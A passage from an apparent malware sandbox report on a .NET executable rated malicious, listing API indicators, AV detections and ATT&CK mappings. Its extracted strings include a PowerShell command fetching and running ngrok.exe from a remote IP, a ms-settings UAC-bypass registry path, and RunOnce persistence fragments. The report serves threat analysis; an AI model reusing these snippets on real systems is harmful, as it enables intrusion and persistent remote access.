WScript.ScriptFullName" (Indicator: "DeleteFile"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp 00000000-00003464.00000001.68400.00172000.00000020.mdmp 00000000-00003464.00000002.70319.00172000.00000020.mdmp 00000000-00003464.00000003.75826.00172000.00000020.mdmp"), Found reference to API "filesys.DeleteFile WScript.ScriptFullName" (Indicator: "DeleteFile"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp 00000000-00003464.00000001.68400.00172000.00000020.mdmp 00000000-00003464.00000002.70319.00172000.00000020.mdmp 00000000-00003464.00000003.75826.00172000.00000020.mdmp"), Found reference to API "DeleteFile" (Indicator: "DeleteFile"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp 00000000-00003464.00000001.68400.00172000.00000020.mdmp 00000000-00003464.00000002.70319.00172000.00000020.mdmp 00000000-00003464.00000003.75826.00172000.00000020.mdmp")58:T56c,Found reference to API "UnhookWindowsHookEx" (Indicator: "UnhookWindowsHook"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API "SetWindowsHookEx" (Indicator: "SetWindowsHook"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API "CallNextHookEx" (Indicator: "CallNextHook"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API "UnhookWindowsHookEx" (Indicator: "UnhookWindowsHook"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API "SetWindowsHookEx" (Indicator: "SetWindowsHook"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API "CallNextHookEx" (Indicator: "CallNextHook"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp")59:T766,Found reference to API "RevertToSelf" (Indicator: "RevertToSelf"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API "DuplicateToken" (Indicator: "DuplicateToken"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API "GetKernelObjectSecurity" (Indicator: "GetKernelObjectSecurity"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API "SetKernelObjectSecurity" (Indicator: "SetKernelObjectSecurity"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API "RevertToSelf" (Indicator: "RevertToSelf"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API "DuplicateToken" (Indicator: "DuplicateToken"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API "GetKernelObjectSecurity" (Indicator: "GetKernelObjectSecurity"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API "SetKernelObjectSecurity" (Indicator: "SetKernelObjectSecurity"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp")5a:T7d9,Observed string: "ms-settings\Shell\Open\command" (Indicator: "ms-settings\shell\open") in Source: 1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin Observed string: "Software\Classes\ms-settings\Shell\Open\command" (Indicator: "ms-settings\shell\open") in Source: 1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin Observed string: "Classes\ms-settings\shell\open" (Indicator: "ms-settings\shell\open") in Source: 1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin Observed string: "Classes\ms-settings\shell\open\command" (Indicator: "ms-settings\shell\open") in Source: 1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin Observed string: "ms-settings\shell\open" (Indicator: "ms-settings\shell\open") in Source: 00000000-00003464.00000001.68400.00172000.00000020.mdmp Observed string: "es\ms-settings\shell\open\command" (Indicator: "ms-settings\shell\open") in Source: 00000000-00003464.00000001.68400.00172000.00000020.mdmp Observed string: "oftware\Classes\ms-settings\Shell\Open\command" (Indicator: "ms-settings\shell\open") in Source: 00000000-00003464.00000000.66478.00172000.00000020.mdmp 00000000-00003464.00000001.68400.00172000.00000020.mdmp 00000000-00003464.00000002.70319.00172000.00000020.mdmp 00000000-00003464.00000003.75826.00172000.00000020.mdmp Observed string: "lasses\ms-settings\shell\open" (Indicator: "ms-settings\shell\open") in Source: 00000000-00003464.00000000.66478.00172000.00000020.mdmp 00000000-00003464.00000001.68400.00172000.00000020.mdmp 00000000-00003464.00000002.70319.00172000.00000020.mdmp 00000000-00003464.00000003.75826.00172000.00000020.mdmp Observed string: "lasses\ms-settings\shell\open\command" (Indicator: "ms-settings\shell\open") in Source: 00000000-00003464.00000000.66478.00172000.00000020.mdmp 00000000-00003464.00000001.68400.00172000.00000020.mdmp 00000000-00003464.00000002.70319.00172000.00000020.mdmp 00000000-00003464.00000003.75826.00172000.00000020.mdmp5b:T61a,"1.0.0.0" "16.0.0.0" "16.6.0.0" "4.0.0.0" "11.0.0.0" "16.8.1.0" "2.7.0.0" Potential IP "127.0.0.1" found in string "http://127.0.0.1:4040/api/tunnels" Potential IP "91.134.207.16" found in string "set downloadURL=http://91.134.207.16/update/ngrok.exe" Potential IP "127.0.0.1" found in string "http://127.0.0.1:4040/api" "8.8.8.8" "192.168.1.90" Potential IP "91.134.207.16" found in string "ogFile=%TEMP%\proclog.txtset exeFile=%TEMP%\ngrok.exeset logFile=%TEMP%\proclog.txtpowershell (new-object System.Net.WebClient).DownloadFile('http://91.134.207.16/update/ngrok.exe','%exeFile%');%exeFile% authtoken" Potential IP "91.134.207.16" found in string "t downloadURL=http://91.134.207.16/update/ngrok.exe" Potential IP "127.0.0.1" found in string "ttp://127.0.0.1:4040/api/tunnels" Potential IP "91.134.207.16" found in string "et downloadURL=http://91.134.207.16/update/ngrok.exe" Potential IP "91.134.207.16" found in string "powershell (new-object System.Net.WebClient).DownloadFile('http://91.134.207.16/update/ngrok.exe','%exeFile%');" Potential IP "127.0.0.1" found in string "ttp://127.0.0.1:4040/api" "92.168.1.90" Potential IP "4.0.0.0" found in string "rsion=4.0.0.0, Culture=neuA" Potential IP "4.0.0.0" found in string "n=4.0.0.0, C" Potential IP "4.0.0.0" found in string "sion=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c5619n'" Potential IP "4.0.0.0" found in string "sion=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" allowLocation="false" />", "2.5.29.10", "2.5.29.19", "2.5.29.14", "2.5.29.15", "2.5.29.37"5c:T77f,Found string "root\CIMV2" (Indicator: "root\cimv2"; in File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "on error resume next\r\nDo While True\r\n\r\nSet oReg = GetObject(\"winmgmts:{impersonationLevel=impersonate}!\\\\.\\root\\default:StdRegProv\")\r\noReg.GetStringValue &H80000001, \"Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\", \"" (Indicator: "winmgmts:"; in File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin"), Found string "on error resume next\r\nset objWMIService = GetObject (\"winmgmts:\")\r\nfoundProc = False\r\nprocName = \"" (Indicator: "winmgmts:"; in File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "ume nextDo While TrueSet oReg = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\default:StdRegProv")oReg.GetStringValue &H80000001, "Software\Microsoft\Windows\CurrentVersion\RunOnce", "" (Indicator: "winmgmts:"; in File: "00000000-00003464.00000001.68400.00172000.00000020.mdmp"), Found string "et objWMIService = GetObject ("winmgmts:")foundProc = FalseprocName = "" (Indicator: "winmgmts:"; in File: "00000000-00003464.00000001.68400.00172000.00000020.mdmp") Found string "Set oReg = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\default:StdRegProv")" (Indicator: "winmgmts:"; in Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found string "set objWMIService = GetObject ("winmgmts:")" (Indicator: "winmgmts:"; in Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp")5d:T4ad,"http://api.ipify.org/" (Indicator: "api.ipify.org"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") "https://whatismyipaddress.com/update-location" (Indicator: "myipaddress.com"; File: "6000864-_~_") "http://ip-api.com/json/" (Indicator: "ip-api.com"; File: "6000920-_~_") "ttps://whatismyipaddress.com/update-location" (Indicator: "myipaddress.com"; File: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") "ttp://ip-api.com/json/" (Indicator: "ip-api.com"; File: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") "ttp://api.ipify.org/" (Indicator: "api.ipify.org"; File: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp")5e:T590,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAD80lEQVR4Xu2W21cTVxTG/b/6Tq22VuSi4DWiLXYtXAoiIOiChNwDMQawSDCESwiEgNTWVmpfbSH2wSf7ZN/oCyHJZGYyueDXfWZIMkwyQmwXfaiz1rfO5JyZs3/7O/ucyZEjH6//+rI63RgYtB2qBi0OFAEsNgf+eLuJ12/+JL39V/V1t6diyyBKDtiH8et69B9pfeMVNqK/Y+OVonW6/436mLTPMu0BMJkdSAlpZDMSMlL6A6S8J1WQ9lkWQ8zktAB2ufMwVQaQy+flgbW1l3jxy+sDae3nl8jnsrKi0WhFFTL/5NqULHZfESC/C8AmrutbQv3dMBr6F9FoXMBpcwhnrCE0O4NoHprDOc8Mznun5Wf/2txEJi2UWa1VVQCXbKswOJ7A4FxBy/AyrngiuOpdwldji2gdX8A1Xwjf+OdVAHxZ5lU5wH7sqADavD+gbfR7XH/4FDcekXyraPc/QUdgBbdml9EZjKBrIVwEyBIAm1iSRKVNK63WgRrTqD4ALyoDbNKuyefo8f+EnsCP6J19hpsU/Lo/jNbJIC5P+GHwTaJlylcCEIWyzLUOsOAnHzr1ATheLAIYgy9wb+45WkZCOGGbwKeWEXzmeIDjQx58ft+NE94hnBxzqgB2HaDM5e3HWo0LLHjzXP/BANoff4fj5nHUDI7iqM2LY04KPnwfXzwYxpejLnmyU4/sKoBUWeZaB1jw1mdt+gApFUCNcUzJ2k7Bi1lT8DEXar914NSEDfWPLXtqQKLDKC3q7wYW/P0AQgngqHXXcpa1h4KPDMlZ147bUeezosFvxumAqbQLxP13wQEASkV4zEVZu1WWs6zJ8vpJKxqnBnFm2ogmsrQIIPBVHeP7AqgLrXbcgTqyvIEsbwxQ8JkBWs97OBfqq+ocqApAXWj1BcunTWia7cfZ4F2cX+jFxXD3HoDM7g7QBqukfQHUhSZbPmNUsp7vw4XFO7i41A3DcmcRIE01wApQu/WYWJ9IYxzHIZFIIJmI7w+gLrSm2QHKmlneiwvhHlyKdOHySidaVjuKANJ7tqGUpnkJMJlMIB6PIxHf1gFQnYTqQjs7zyy/I1tuiNym4LdwZbUdV5/eUAFwFbMvOCBQkbLMY7EYtrdjlQEEUfmjMD2zLE98EE0FIsoSCPpFKPA8UlySAm8rADEdgGRKcYB929mk1UhIlRxgLasHnk+BSynrzrLe2tqSpQsQ59LyJxk7GWQlHkAWyFNfRkCOhB2J+t6Rdkh5ZRwZvMspRVY4/9OiCJ4cSVFwjjJP0Nqz9S+IuaELwAYOS3sA2H/0vgGz3PkhMtH7FrsLdpcbVocbZqsTxgrPqXWz43YJ4OP1v7/+BnvlpAT3X7SfAAAAAElFTkSuQmCC1d:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$25"}}],["$","$L26",null,{"initialData":{"schema_version":"1.0.15","sha256":"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1791235847173,"unified_at":"2026-10-05T21:30:47.173Z","metadata":{"hashes":{"sha256":"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55","sha1":"903f73ec625e3a8ca291f369c5e0efe1e24e3e72","md5":"f9bbc48fa75a646f11a8771c5eadfc91","sha512":"d4c0909cf69e654ff2316bcb81552d06095a0b0260143d9e4bd3abd175477c16bedae553c182dd2ecd4863af0270e48e1cdec37015c82bf9ccac89cf127aa8a3","ssdeep":"24576:1Cynkc1ZzBvtrZHFjMKY29kpj4elz781eHGp:wynkc1ZzBvtrZHFjMKY2G4el3VH","ssdeep_chunks":["24576:1Cynkc1","24576:Cynkc1Z","24576:ynkc1Zz","24576:nkc1ZzB","24576:kc1ZzBv","24576:c1ZzBvt","24576:1ZzBvtr","24576:ZzBvtrZ","24576:zBvtrZH","24576:BvtrZHF","24576:vtrZHFj","24576:trZHFjM","24576:rZHFjMK","24576:ZHFjMKY","24576:HFjMKY2","24576:FjMKY29","24576:jMKY29k","24576:MKY29kp","24576:KY29kpj","24576:Y29kpj4","24576:29kpj4e","24576:9kpj4el","24576:kpj4elz","24576:pj4elz7","24576:j4elz78","24576:4elz781","24576:elz781e","24576:lz781eH","24576:z781eHG","24576:781eHGp","49152:1Cynkc1","49152:Cynkc1Z","49152:ynkc1Zz","49152:nkc1ZzB","49152:kc1ZzBv","49152:c1ZzBvt","49152:1ZzBvtr","49152:ZzBvtrZ","49152:zBvtrZH","49152:BvtrZHF","49152:vtrZHFj","49152:trZHFjM","49152:rZHFjMK","49152:ZHFjMKY","49152:HFjMKY2","49152:FjMKY29","49152:jMKY29k","49152:MKY29kp","49152:KY29kpj","49152:Y29kpj4","49152:29kpj4e","49152:9kpj4el","49152:kpj4elz","49152:pj4elz7","49152:j4elz78","49152:4elz781","49152:elz781e","49152:lz781eH","49152:z781eHG","49152:781eHGp","24576:wynkc1Z","24576:FjMKY2G","24576:jMKY2G4","24576:MKY2G4e","24576:KY2G4el","24576:Y2G4el3","24576:2G4el3V","24576:G4el3VH"],"imphash":"f34d5f2d4577ed6d9ceec516c1f5a744"},"file_info":{"file_name":"xg6hsb6VyKuk.exe","file_type":["peexe","assembly","executable"],"file_type_id":".NET exe","file_size":1085952,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1687269012000,"last_seen":1687269012000,"last_multi_scan":1687269012000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["agent","banker","bypassuac","clipbanker","commodity","mamson","mineware","quasarrat","ransomware","rat","sabsik","small","venomrat","njrat","evasive"]},"stats":{"av":{"malicious_count":16,"suspicious_count":0,"total_engines":27},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":75},"sandbox_signatures":{"informative_count":157,"suspicious_count":8,"malicious_count":5,"total":170},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"aegislab":{"name":"AegisLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Trojan/Win.Generic","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan/MSIL.Agent","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"TR/Dropper.MSIL.Gen","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"IL:Trojan.MSILMamut.123","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"malicious","threat_name":"Win.Malware.Ursu-9802322-0","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (D)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Trojan.Agent (A)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of MSIL/Agent.AIA trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"malicious","threat_name":"Trojan/MSIL.KillAV.b","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Trojan ( 0051816c1 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"kaspersky":{"name":"Kaspersky","success":true,"verdict":"malicious","threat_name":"HEUR:Trojan.Win32.Generic","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"malicious","threat_name":"GenericRXOE-JA!F9BBC48FA75A","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"malicious","threat_name":"Mal/Monev-A","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicro":{"name":"Trend Micro","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicrohousecall":{"name":"Trend Micro HouseCall","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"W32/Trojan.GPU.gen!Eldorado","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.MSIL_Heur.B","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"malicious","threat_name":"Trojan.MSIL.DLAgent10.Heur","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Trojan.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Initial Access","technique":"Replication Through Removable Media","attack_id":"T1091","attack_id_wiki":"https://attack.mitre.org/techniques/T1091","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Connects to LPC ports"}],"sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Contains ability to execute an application (API string)"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"informative","value":"Contains NTDLL native APIs"},{"type":"informative","value":"Contains ability to create a new process (API string)"},{"type":"informative","value":"Contains ability to execute application (Dotnet)"},{"type":"informative","value":"Found Native API in Dotnet file"},{"type":"informative","value":"Dotnet source code contains suspicious native API"}],"sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads the .NET runtime environment"},{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"}],"sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"tactic":"Execution","technique":"Scheduled Task","attack_id":"T1053.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1053/005","identifiers":[{"type":"informative","value":"Contains ability to perform scheduled task-related activity (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"tactic":"Execution","technique":"Component Object Model","attack_id":"T1559.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1559/001","identifiers":[{"type":"informative","value":"Contains ability to retrieve type of COM object"}],"sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"tactic":"Execution","technique":"Windows Management Instrumentation","attack_id":"T1047","attack_id_wiki":"https://attack.mitre.org/techniques/T1047","identifiers":[{"type":"informative","value":"Contains ability to execute WMI queries (Dotnet)"},{"type":"suspicious","value":"Contains references to WMI/WMIC"},{"type":"informative","value":"Contains ability to execute a WMI query"},{"type":"informative","value":"Found WMI keywords in script (string)"}],"sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"tactic":"Execution","technique":"PowerShell","attack_id":"T1059.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/001","identifiers":[{"type":"informative","value":"Observed Powershell command strings"}],"sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"tactic":"Execution","technique":"Service Execution","attack_id":"T1569.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1569/002","identifiers":[{"type":"informative","value":"Contains ability to control system service controller"}],"sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"tactic":"Persistence","technique":"Account Manipulation","attack_id":"T1098","attack_id_wiki":"https://attack.mitre.org/techniques/T1098","identifiers":[{"type":"informative","value":"Contains ability to modify the user configuration/privilege (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"tactic":"Persistence","technique":"Transport Agent","attack_id":"T1505.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1505/002","identifiers":[{"type":"informative","value":"Contains ability to use Microsoft Exchange transport agents [Dotnet Namespaces]"}],"sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"tactic":"Persistence","technique":"Boot or Logon Autostart Execution","attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to set/modify configuration (Powershell command string)"},{"type":"informative","value":"Contains ability to access device drivers"}],"sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"tactic":"Persistence","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"informative","value":"Contains ability to start a process (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"},{"type":"informative","value":"Contains ability to modify process memory (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"tactic":"Privilege Escalation","technique":"Token Impersonation/Theft","attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Contains ability to impersonate another user on the local machine (API string)"},{"type":"informative","value":"Contains ability to obtains specified information about the security of a file or directory (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"tactic":"Privilege Escalation","technique":"Process Hollowing","attack_id":"T1055.012","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/012","identifiers":[{"type":"informative","value":"Contains ability to unmap view of a section from a process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"informative","value":"Contains ability to inject code into another process (API string)"},{"type":"informative","value":"Reference 